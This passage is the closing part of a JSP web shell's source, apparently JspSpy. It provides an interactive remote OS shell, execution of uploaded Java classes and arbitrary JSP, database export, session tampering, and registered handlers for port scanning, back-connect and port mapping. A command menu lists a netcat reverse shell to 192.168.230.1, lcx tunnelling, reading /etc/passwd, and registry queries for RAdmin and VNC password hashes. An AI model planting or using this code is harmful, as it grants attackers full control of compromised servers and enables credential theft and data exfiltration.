  3649.                                 out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  3650.                                 out
  3651.                                                 .println("<form action=\""
  3652.                                                                 + SHELL_NAME
  3653.                                                                 + "\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"
  3654.                                                                 + "                     <input type=\"submit\" value=\" start \" class=\"bt\">"
  3655.                                                                 + "                             <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""
  3656.                                                                 + (ISLINUX ? "/bin/bash"
  3657.                                                                                 : "c:\\windows\\system32\\cmd.exe")
  3658.                                                                 + "\"/>"
  3659.                                                                 + "                             <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"
  3660.                                                                 + "                     </form>"
  3661.                                                                 + "                     <hr/>"
  3662.                                                                 + "                             <iframe class=\"secho\" name=\"echo\" src=\"\">"
  3663.                                                                 + "                             </iframe>"
  3664.                                                                 + "                             <form action=\""
  3665.                                                                 + SHELL_NAME
  3666.                                                                 + "\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"
  3667.                                                                 + "                                     <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"
  3668.                                                                 + "                                     <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"
  3669.                                                                 + "                                     <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"
  3670.                                                                 + "                                             <option value=\"\" selected> </option>"
  3671.                                                                 + "                                             <option value=\"uname -a\">uname -a</option>"
  3672.                                                                 + "                                             <option value=\"cat /etc/issue\">issue</option>"
  3673.                                                                 + "                                             <option value=\"cat /etc/passwd\">passwd</option>"
  3674.                                                                 + "                                             <option value=\"netstat -an\">netstat -an</option>"
  3675.                                                                 + "                                             <option value=\"net user\">net user</option>"
  3676.                                                                 + "                                             <option value=\"tasklist\">tasklist</option>"
  3677.                                                                 + "                                             <option value=\"tasklist /svc\">tasklist /svc</option>"
  3678.                                                                 + "                                             <option value=\"net start\">net start</option>"
  3679.                                                                 + "                                             <option value=\"net stop policyagent /yes\">net stop</option>"
  3680.                                                                 + "                                             <option value=\"nbtstat -A IP\">nbtstat -A</option>"
  3681.                                                                 + "                                             <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"
  3682.                                                                 + "                                             <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"
  3683.                                                                 + "                                             <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"
  3684.                                                                 + "                                             <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"
  3685.                                                                 + "                                             <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"
  3686.                                                                 + "                                             <option value=\"systeminfo\">systeminfo</option>"
  3687.                                                                 + "                                             <option value=\"net localgroup\">view groups</option>"
  3688.                                                                 + "                                             <option value=\"net localgroup administrators\">view admins</option>"
  3689.                                                                 + "                                     </select>"
  3690.                                                                 + "                                     <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"
  3691.                                                                 + "                                     <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"
  3692.                                                                 + "                             </form>"
  3693.                                                                 + "                     <iframe style=\"display:none\" name=\"asyn\"></iframe>");
  3694.                                 out.println("    </td>" + "  </tr>" + "</table>");
  3695.                         } catch (Exception e) {
  3696.                                 throw e;
  3697.                         }
  3698.                 }
  3699.         }
  3700.  
  3701.         private static class OnLineInvoker extends DefaultInvoker {
  3702.                 public boolean doBefore() {
  3703.                         return false;
  3704.                 }
  3705.  
  3706.                 public boolean doAfter() {
  3707.                         return false;
  3708.                 }
  3709.  
  3710.                 public void invoke(HttpServletRequest request,
  3711.                                 HttpServletResponse response, HttpSession JSession)
  3712.                                 throws Exception {
  3713.                         try {
  3714.                                 String type = request.getParameter("type");
  3715.                                 if (Util.isEmpty(type))
  3716.                                         return;
  3717.                                 if (type.toLowerCase().equals("start")) {
  3718.                                         String exe = request.getParameter("exe");
  3719.                                         if (Util.isEmpty(exe))
  3720.                                                 return;
  3721.                                         Process pro = Runtime.getRuntime().exec(exe);
  3722.                                         ByteArrayOutputStream outs = new ByteArrayOutputStream();
  3723.                                         response.setContentLength(100000000);
  3724.                                         response.setContentType("text/html;charset="
  3725.                                                         + System.getProperty("file.encoding"));
  3726.                                         OnLineProcess olp = new OnLineProcess(pro);
  3727.                                         JSession.setAttribute(SHELL_ONLINE, olp);
  3728.                                         new OnLineConnector(new ByteArrayInputStream(outs
  3729.                                                         .toByteArray()), pro.getOutputStream(),
  3730.                                                         "exeOclientR", olp).start();
  3731.                                         new OnLineConnector(pro.getInputStream(), response
  3732.                                                         .getOutputStream(), "exeRclientO", olp).start();
  3733.                                         new OnLineConnector(pro.getErrorStream(), response
  3734.                                                         .getOutputStream(), "exeRclientO", olp).start();
  3735.                                         Thread.sleep(1000 * 60 * 60 * 24);
  3736.                                 } else if (type.equals("ecmd")) {
  3737.                                         Object o = JSession.getAttribute(SHELL_ONLINE);
  3738.                                         String cmd = request.getParameter("cmd");
  3739.                                         if (Util.isEmpty(cmd))
  3740.                                                 return;
  3741.                                         if (o == null)
  3742.                                                 return;
  3743.                                         OnLineProcess olp = (OnLineProcess) o;
  3744.                                         olp.setCmd(cmd);
  3745.                                 } else {
  3746.                                         Object o = JSession.getAttribute(SHELL_ONLINE);
  3747.                                         if (o == null)
  3748.                                                 return;
  3749.                                         OnLineProcess olp = (OnLineProcess) o;
  3750.                                         olp.stop();
  3751.                                 }
  3752.                         } catch (Exception e) {
  3753.  
  3754.                                 throw e;
  3755.                         }
  3756.                 }
  3757.         }
  3758.  
  3759.         private static class EnterInvoker extends DefaultInvoker {
  3760.                 public boolean doBefore() {
  3761.                         return false;
  3762.                 }
  3763.  
  3764.                 public boolean doAfter() {
  3765.                         return false;
  3766.                 }
  3767.  
  3768.                 public void invoke(HttpServletRequest request,
  3769.                                 HttpServletResponse response, HttpSession JSession)
  3770.                                 throws Exception {
  3771.                         PrintWriter out = response.getWriter();
  3772.                         String type = request.getParameter("type");
  3773.                         if (!Util.isEmpty(type)) {
  3774.                                 JSession.removeAttribute(ENTER);
  3775.                                 JSession.removeAttribute(ENTER_MSG);
  3776.                                 JSession.removeAttribute(ENTER_CURRENT_DIR);
  3777.                                 JSession.setAttribute(MSG, "Exit File Success ! ");
  3778.                         } else {
  3779.                                 String f = request.getParameter("filepath");
  3780.                                 if (Util.isEmpty(f))
  3781.                                         return;
  3782.                                 JSession.setAttribute(ENTER, f);
  3783.                                 JSession
  3784.                                                 .setAttribute(
  3785.                                                                 ENTER_MSG,
  3786.                                                                 "You Are In File <a style='color:red'>\""
  3787.                                                                                 + f
  3788.                                                                                 + "\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  3789.                         }
  3790.                         response.sendRedirect(SHELL_NAME);
  3791.                 }
  3792.         }
  3793.  
  3794.         private static class VExport2FileInvoker extends DefaultInvoker {
  3795.                 public void invoke(HttpServletRequest request,
  3796.                                 HttpServletResponse response, HttpSession JSession)
  3797.                                 throws Exception {
  3798.                         PrintWriter out = response.getWriter();
  3799.                         String type = request.getParameter("type");
  3800.                         String sql = request.getParameter("sql");
  3801.                         String table = request.getParameter("table");
  3802.                         if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  3803.                                 JSession.setAttribute(SESSION_O, "vConn");
  3804.                                 response.sendRedirect(SHELL_NAME);
  3805.                                 return;
  3806.                         }
  3807.                         out
  3808.                                         .println("<form action=\"\" method=\"post\">"
  3809.                                                         + "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3810.                                                         + "  <tr>"
  3811.                                                         + "    <td>"
  3812.                                                         + "    <input type=\"hidden\" name=\"o\" value=\"export\"/>"
  3813.                                                         + "    <input type=\"hidden\" name=\"type\" value=\""
  3814.                                                         + (Util.isEmpty(type) ? "" : type)
  3815.                                                         + "\"/>"
  3816.                                                         + "    <input type=\"hidden\" name=\"sql\" value=\""
  3817.                                                         + (Util.isEmpty(sql) ? "" : sql.replaceAll("\"",
  3818.                                                                         "&quot;"))
  3819.                                                         + "\"/>"
  3820.                                                         + "    <input type=\"hidden\" name=\"table\" value=\""
  3821.                                                         + (Util.isEmpty(table) ? "" : table)
  3822.                                                         + "\"/>"
  3823.                                                         + "    <h2>Export To File &raquo;</h2>"
  3824.                                                         + "        "
  3825.                                                         + "    <hr/>Export \"<span style='color:red;font-weight:bold'>"
  3826.                                                         + (Util.isEmpty(sql) ? table : sql.replaceAll("\"",
  3827.                                                                         "&quot;"))
  3828.                                                         + "</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""
  3829.                                                         + (JSession.getAttribute(CURRENT_DIR).toString() + "/exportdata.txt")
  3830.                                                         + "\" size=\"100\" class=\"input\"/>"
  3831.                                                         + " <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"
  3832.                                                         + " <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"
  3833.                                                         + BACK_HREF
  3834.                                                         + "</td>"
  3835.                                                         + "        </tr>"
  3836.                                                         + "      </table>" + "</form>");
  3837.                 }
  3838.         }
  3839.  
  3840.         private static class ExportInvoker extends DefaultInvoker {
  3841.                 public boolean doBefore() {
  3842.                         return false;
  3843.                 }
  3844.  
  3845.                 public boolean doAfter() {
  3846.                         return false;
  3847.                 }
  3848.  
  3849.                 public void invoke(HttpServletRequest request,
  3850.                                 HttpServletResponse response, HttpSession JSession)
  3851.                                 throws Exception {
  3852.                         String type = request.getParameter("type");
  3853.                         String filepath = request.getParameter("filepath");
  3854.                         String encode = request.getParameter("encode");
  3855.                         String sql = null;
  3856.                         DBOperator dbo = null;
  3857.                         dbo = (DBOperator) JSession.getAttribute(DBO);
  3858.  
  3859.                         if (Util.isEmpty(type)) {
  3860.                                 //table export
  3861.                                 String tb = request.getParameter("table");
  3862.                                 if (Util.isEmpty(tb))
  3863.                                         return;
  3864.                                 String s = dbo.getConn().getMetaData()
  3865.                                                 .getIdentifierQuoteString();
  3866.                                 sql = "select * from " + s + tb + s;
  3867.  
  3868.                         } else if (type.equals("queryexp")) {
  3869.                                 //query export
  3870.                                 sql = request.getParameter("sql");
  3871.                                 if (Util.isEmpty(sql)) {
  3872.                                         JSession.setAttribute(SESSION_O, "vConn");
  3873.                                         response.sendRedirect(SHELL_NAME);
  3874.                                         return;
  3875.                                 }
  3876.                         }
  3877.                         Object o = dbo.execute(sql);
  3878.                         ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3879.                         byte[] rowSep = "\r\n".getBytes();
  3880.                         if (o instanceof ResultSet) {
  3881.                                 ResultSet rs = (ResultSet) o;
  3882.                                 ResultSetMetaData meta = rs.getMetaData();
  3883.                                 int count = meta.getColumnCount();
  3884.                                 for (int i = 1; i <= count; i++) {
  3885.                                         String colName = meta.getColumnName(i) + "\t";
  3886.                                         byte[] b = null;
  3887.                                         if (Util.isEmpty(encode))
  3888.                                                 b = colName.getBytes();
  3889.                                         else
  3890.                                                 b = colName.getBytes(encode);
  3891.                                         bout.write(b, 0, b.length);
  3892.                                 }
  3893.                                 bout.write(rowSep, 0, rowSep.length);
  3894.                                 while (rs.next()) {
  3895.                                         for (int i = 1; i <= count; i++) {
  3896.                                                 String v = null;
  3897.                                                 try {
  3898.                                                         v = rs.getString(i);
  3899.                                                 } catch (SQLException ex) {
  3900.                                                         v = "<<Error!>>";
  3901.                                                 }
  3902.                                                 v += "\t";
  3903.                                                 byte[] b = null;
  3904.                                                 if (Util.isEmpty(encode))
  3905.                                                         b = v.getBytes();
  3906.                                                 else
  3907.                                                         b = v.getBytes(encode);
  3908.                                                 bout.write(b, 0, b.length);
  3909.                                         }
  3910.                                         bout.write(rowSep, 0, rowSep.length);
  3911.                                 }
  3912.                                 rs.close();
  3913.                                 ByteArrayInputStream input = new ByteArrayInputStream(bout
  3914.                                                 .toByteArray());
  3915.                                 BufferedOutputStream output = null;
  3916.                                 if (!Util.isEmpty(filepath)) {
  3917.                                         //export2file
  3918.                                         output = new BufferedOutputStream(new FileOutputStream(
  3919.                                                         new File(filepath)));
  3920.                                 } else {
  3921.                                         //download.
  3922.                                         response.setHeader("Content-Disposition",
  3923.                                                         "attachment;filename=DataExport.txt");
  3924.                                         output = new BufferedOutputStream(response
  3925.                                                         .getOutputStream());
  3926.                                 }
  3927.                                 byte[] data = new byte[1024];
  3928.                                 int len = input.read(data);
  3929.                                 while (len != -1) {
  3930.                                         output.write(data, 0, len);
  3931.                                         len = input.read(data);
  3932.                                 }
  3933.                                 bout.close();
  3934.                                 input.close();
  3935.                                 output.close();
  3936.                                 if (!Util.isEmpty(filepath)) {
  3937.                                         JSession.setAttribute(MSG, "Export To File Success !");
  3938.                                         response.sendRedirect(SHELL_NAME);
  3939.                                 }
  3940.                         }
  3941.                 }
  3942.         }
  3943.  
  3944.         private static class EvalInvoker extends DefaultInvoker {
  3945.                 public void invoke(HttpServletRequest request,
  3946.                                 HttpServletResponse response, HttpSession JSession)
  3947.                                 throws Exception {
  3948.                         String type = request.getParameter("type");
  3949.                         PrintWriter out = response.getWriter();
  3950.                         Object msg = JSession.getAttribute(MSG);
  3951.                         if (msg != null) {
  3952.                                 Util.outMsg(out, (String) msg);
  3953.                                 JSession.removeAttribute(MSG);
  3954.                         }
  3955.                         if (Util.isEmpty(type)) {
  3956.                                 out
  3957.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3958.                                                                 + "  <tr>"
  3959.                                                                 + "    <td><h2>Eval Java Code &raquo;</h2>"
  3960.                                                                 + "<hr/>"
  3961.                                                                 + "      <p>"
  3962.                                                                 + "      <form action=\""
  3963.                                                                 + SHELL_NAME
  3964.                                                                 + "?o=eu\" method=\"post\"  enctype=\"multipart/form-data\">"
  3965.                                                                 + "UpLoad a Class File : ");
  3966.                                 Util
  3967.                                                 .outMsg(
  3968.                                                                 out,
  3969.                                                                 "<pre>"
  3970.                                                                                 + "<span style='color:blue'>public class</span> SpyEval{\r\n"
  3971.                                                                                 + "     <span style='color:blue'>static</span> {\r\n"
  3972.                                                                                 + "             <span style='color:green'>//Your Code Here.</span>\r\n"
  3973.                                                                                 + "     }\r\n" + "}\r\n" + "</pre>", "left");
  3974.                                 out
  3975.                                                 .println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"
  3976.                                                                 + "      <form action=\""
  3977.                                                                 + SHELL_NAME
  3978.                                                                 + "\"  method=\"post\"><p></p>Jsp Eval : <br/>"
  3979.                                                                 + "      <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"
  3980.                                                                 + "      <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"
  3981.                                                                 + URLDecoder
  3982.                                                                                 .decode(
  3983.                                                                                                 "%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E",
  3984.                                                                                                 "utf-8")
  3985.                                                                 + "</textarea>"
  3986.                                                                 + "      <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\"  />"
  3987.                                                                 + "      </form>"
  3988.                                                                 + "      </p>"
  3989.                                                                 + "    </td>"
  3990.                                                                 + "  </tr>" + "</table>");
  3991.                         } else if (type.equals("jsp")) {
  3992.                                 String jspc = request.getParameter("jspc");
  3993.                                 if (Util.isEmpty(jspc))
  3994.                                         return;
  3995.                                 File f = new File(SHELL_DIR, "evaltmpninty.jsp");
  3996.                                 BufferedWriter writer = new BufferedWriter(
  3997.                                                 new OutputStreamWriter(new FileOutputStream(f), "utf-8"));
  3998.                                 writer.write(jspc, 0, jspc.length());
  3999.                                 writer.flush();
  4000.                                 writer.close();
  4001.                                 out
  4002.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  4003.                                                                 + "  <tr>"
  4004.                                                                 + "    <td><h2>Jsp Eval Result &raquo;</h2>");
  4005.                                 out
  4006.                                                 .println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  4007.                                 request.getRequestDispatcher("evaltmpninty.jsp").include(
  4008.                                                 request, response);
  4009.                                 out
  4010.                                                 .println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  4011.                                 f.delete();
  4012.                         }
  4013.                 }
  4014.         }
  4015.  
  4016.         private static class EvalUploadInvoker extends DefaultInvoker {
  4017.                 public void invoke(HttpServletRequest request,
  4018.                                 HttpServletResponse response, HttpSession JSession)
  4019.                                 throws Exception {
  4020.                         ByteArrayOutputStream stream = new ByteArrayOutputStream();
  4021.                         UploadBean upload = new UploadBean();
  4022.                         upload.setTargetOutput(stream);
  4023.                         upload.parseRequest(request);
  4024.  
  4025.                         if (stream.toByteArray().length == 2) {
  4026.                                 JSession.setAttribute(MSG, "Please Upload Your Class File ! ");
  4027.                                 ((Invoker) ins.get("ev")).invoke(request, response, JSession);
  4028.                                 return;
  4029.                         }
  4030.                         SpyClassLoader loader = new SpyClassLoader();
  4031.                         try {
  4032.                                 Class c = loader.defineClass(null, stream.toByteArray());
  4033.                                 c.newInstance();
  4034.                         } catch (Exception e) {
  4035.                         }
  4036.                         stream.close();
  4037.                         JSession.setAttribute(MSG, "Eval Java Class Done ! ");
  4038.                         ((Invoker) ins.get("ev")).invoke(request, response, JSession);
  4039.                 }
  4040.         }
  4041.  
  4042.         private static class VOtherInvoker extends DefaultInvoker {
  4043.                 public void invoke(HttpServletRequest request,
  4044.                                 HttpServletResponse response, HttpSession JSession)
  4045.                                 throws Exception {
  4046.                         try {
  4047.                                 PrintWriter out = response.getWriter();
  4048.                                 Object msg = JSession.getAttribute(MSG);
  4049.                                 if (msg != null) {
  4050.                                         Util.outMsg(out, (String) msg);
  4051.                                         JSession.removeAttribute(MSG);
  4052.                                 }
  4053.                                 out
  4054.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  4055.                                                                 + "    <tr>"
  4056.                                                                 + "      <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"
  4057.                                                                 + "        <div id=\"hOWTm\" style=\"line-height:30px\">"
  4058.                                                                 + "        <ul>");
  4059.                                 Enumeration en = JSession.getAttributeNames();
  4060.                                 while (en.hasMoreElements()) {
  4061.                                         Object o = en.nextElement();
  4062.                                         if (o.toString().equals(MSG))
  4063.                                                 continue;
  4064.                                         out
  4065.                                                         .println("<li><form action='"
  4066.                                                                         + SHELL_NAME
  4067.                                                                         + "' method='post'><u>"
  4068.                                                                         + o.toString()
  4069.                                                                         + "</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""
  4070.                                                                         + JSession.getAttribute(o.toString())
  4071.                                                                         + "\">");
  4072.                                         out
  4073.                                                         .println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  4074.                                         out
  4075.                                                         .println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  4076.                                         out.println("<input type='hidden' name='name' value='"
  4077.                                                         + o.toString() + "'/>");
  4078.                                         out.println("</form></li>");
  4079.                                 }
  4080.                                 out
  4081.                                                 .println("<li style='list-style:none'><form action='"
  4082.                                                                 + SHELL_NAME
  4083.                                                                 + "' method='post'><fieldset>"
  4084.                                                                 + "<legend>New Session Attribute</legend>"
  4085.                                                                 + "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""
  4086.                                                                 + " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"
  4087.                                                                 + " </fieldset></form></li></ul></div></td>"
  4088.                                                                 + "    </tr>" + "  </table>");
  4089.                         } catch (Exception e) {
  4090.                                 throw e;
  4091.                         }
  4092.                 }
  4093.         }
  4094.  
  4095.         //Session Manager
  4096.         private static class SmInvoker extends DefaultInvoker {
  4097.                 public void invoke(HttpServletRequest request,
  4098.                                 HttpServletResponse response, HttpSession JSession)
  4099.                                 throws Exception {
  4100.                         try {
  4101.                                 String type = request.getParameter("type");
  4102.                                 PrintWriter out = response.getWriter();
  4103.                                 if (type.equals("update")) {
  4104.                                         String name = request.getParameter("name");
  4105.                                         String value = request.getParameter("value");
  4106.                                         JSession.setAttribute(name, value);
  4107.                                         JSession
  4108.                                                         .setAttribute(MSG, "Update/Add Attribute Success !");
  4109.                                 } else if (type.equals("delete")) {
  4110.                                         String name = request.getParameter("name");
  4111.                                         JSession.removeAttribute(name);
  4112.                                         JSession.setAttribute(MSG, "Remove Attribute Success !");
  4113.                                 }
  4114.                                 ((Invoker) ins.get("vother")).invoke(request, response,
  4115.                                                 JSession);
  4116.                         } catch (Exception e) {
  4117.  
  4118.                                 throw e;
  4119.                         }
  4120.                 }
  4121.         }
  4122.  
  4123.         static {
  4124.                 ins.put("script", new ScriptInvoker());
  4125.                 ins.put("before", new BeforeInvoker());
  4126.                 ins.put("after", new AfterInvoker());
  4127.                 ins.put("deleteBatch", new DeleteBatchInvoker());
  4128.                 ins.put("clipboard", new ClipBoardInvoker());
  4129.                 ins.put("vPortScan", new VPortScanInvoker());
  4130.                 ins.put("portScan", new PortScanInvoker());
  4131.                 ins.put("vConn", new VConnInvoker());
  4132.                 ins.put("dbc", new DbcInvoker());
  4133.                 ins.put("executesql", new ExecuteSQLInvoker());
  4134.                 ins.put("vLogin", new VLoginInvoker());
  4135.                 ins.put("login", new LoginInvoker());
  4136.                 ins.put("filelist", new FileListInvoker());
  4137.                 ins.put("logout", new LogoutInvoker());
  4138.                 ins.put("upload", new UploadInvoker());
  4139.                 ins.put("copy", new CopyInvoker());
  4140.                 ins.put("bottom", new BottomInvoker());
  4141.                 ins.put("vCreateFile", new VCreateFileInvoker());
  4142.                 ins.put("vEdit", new VEditInvoker());
  4143.                 ins.put("createFile", new CreateFileInvoker());
  4144.                 ins.put("vEditProperty", new VEditPropertyInvoker());
  4145.                 ins.put("editProperty", new EditPropertyInvoker());
  4146.                 ins.put("vs", new VsInvoker());
  4147.                 ins.put("shell", new ShellInvoker());
  4148.                 ins.put("down", new DownInvoker());
  4149.                 ins.put("vd", new VdInvoker());
  4150.                 ins.put("downRemote", new DownRemoteInvoker());
  4151.                 ins.put("index", new IndexInvoker());
  4152.                 ins.put("mkdir", new MkDirInvoker());
  4153.                 ins.put("move", new MoveInvoker());
  4154.                 ins.put("removedir", new RemoveDirInvoker());
  4155.                 ins.put("packBatch", new PackBatchInvoker());
  4156.                 ins.put("pack", new PackInvoker());
  4157.                 ins.put("unpack", new UnPackInvoker());
  4158.                 ins.put("vmp", new VmpInvoker());
  4159.                 ins.put("vbc", new VbcInvoker());
  4160.                 ins.put("backConnect", new BackConnectInvoker());
  4161.                 ins.put("jspEnv", new JspEnvInvoker());
  4162.                 ins.put("smp", new SmpInvoker());
  4163.                 ins.put("mapPort", new MapPortInvoker());
  4164.                 ins.put("top", new TopInvoker());
  4165.                 ins.put("vso", new VOnLineShellInvoker());
  4166.                 ins.put("online", new OnLineInvoker());
  4167.                 ins.put("enter", new EnterInvoker());
  4168.                 ins.put("export", new ExportInvoker());
  4169.                 ins.put("ev", new EvalInvoker());
  4170.                 ins.put("eu", new EvalUploadInvoker());
  4171.                 ins.put("vother", new VOtherInvoker());
  4172.                 ins.put("sm", new SmInvoker());
  4173.                 ins.put("vExport", new VExport2FileInvoker());
  4174.                 ins.put("vPack", new VPackConfigInvoker());
  4175.                 ins.put("reflect", new ReflectInvoker());
  4176.                 ins.put("portBack", new PortBackInvoker());
  4177.         }%>
  4178. <%
  4179.         try {
  4180.                 String o = request.getParameter("o");
  4181.                 if (Util.isEmpty(o)) {
  4182.                         if (session.getAttribute(SESSION_O) == null)
  4183.                                 o = "index";
  4184.                         else {
  4185.                                 o = session.getAttribute(SESSION_O).toString();
  4186.                                 session.removeAttribute(SESSION_O);
  4187.                         }
  4188.                 }
  4189.                 Object obj = ins.get(o);
  4190.                 if (obj == null) {
  4191.                         response.sendRedirect(SHELL_NAME);
  4192.                 } else {
  4193.                         Invoker in = (Invoker) obj;
  4194.                         if (in.doBefore()) {
  4195.                                 String path = request.getParameter("folder");
  4196.                                 if (!Util.isEmpty(path)
  4197.                                                 && session.getAttribute(ENTER) == null)
  4198.                                         session.setAttribute(CURRENT_DIR, path);
  4199.                                 ((Invoker) ins.get("before")).invoke(request, response,
  4200.                                                 session);
  4201.                                 ((Invoker) ins.get("script")).invoke(request, response,
  4202.                                                 session);
  4203.                                 ((Invoker) ins.get("top")).invoke(request, response,
  4204.                                                 session);
  4205.                         }
  4206.                         in.invoke(request, response, session);
  4207.                         if (!in.doAfter()) {
  4208.                                 return;
  4209.                         } else {
  4210.                                 ((Invoker) ins.get("bottom")).invoke(request, response,
  4211.                                                 session);
  4212.                                 ((Invoker) ins.get("after")).invoke(request, response,
  4213.                                                 session);
  4214.                         }
  4215.                 }
  4216.         } catch (Exception e) {
  4217.                 Object msg = session.getAttribute(MSG);
  4218.                 if (msg != null) {
  4219.                         Util.outMsg(out, (String) msg);
  4220.                         session.removeAttribute(MSG);
  4221.                 }
  4222.                 if (e.toString().indexOf("ClassCastException") != -1) {
  4223.                         Util.outMsg(out, MODIFIED_ERROR + BACK_HREF);
  4224.                 }
  4225.                 ByteArrayOutputStream bout = new ByteArrayOutputStream();
  4226.                 e.printStackTrace(new PrintStream(bout));
  4227.                 session.setAttribute(CURRENT_DIR, SHELL_DIR);
  4228.                 Util.outMsg(out, Util
  4229.                                 .htmlEncode(new String(bout.toByteArray())).replaceAll(
  4230.                                                 "\n", "<br/>"), "left");
  4231.                 bout.close();
  4232.                 out.flush();
  4233.                 ((Invoker) ins.get("bottom"))
  4234.                                 .invoke(request, response, session);
  4235.                 ((Invoker) ins.get("after")).invoke(request, response, session);
  4236.         }
  4237. %>